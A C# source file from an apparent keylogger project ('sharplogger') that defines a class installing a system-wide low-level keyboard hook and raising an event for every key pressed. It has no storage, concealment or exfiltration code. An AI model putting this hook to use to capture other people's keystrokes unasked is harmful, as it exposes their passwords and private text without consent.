using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;

namespace sharplogger
{
    public class KeyListener : IDisposable
    {
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;

        private LowLevelKeyboardProc proc;
        private IntPtr hookID = IntPtr.Zero;

        public delegate void KeyPressHandler(object sender, KeyEventArgs e);

        public event KeyPressHandler OnKeyPress;

        public KeyListener()
        {
            proc = HookCallback;
            hookID = SetHook(proc);
        }

        private IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process process = Process.GetCurrentProcess())
            using (ProcessModule module = process.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(module.ModuleName), 0);
            }
        }

        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

        private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            {
                int vkCode = Marshal.ReadInt32(lParam);
                KeyEventArgs e = new KeyEventArgs((Keys)vkCode);
                OnKeyPress(null, e);
                
            }
            return CallNextHookEx(hookID, nCode, wParam, lParam);
        }

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        #region IDisposable Members

        public void Dispose()
        {
            UnhookWindowsHookEx(hookID);
        }

        #endregion
    }
}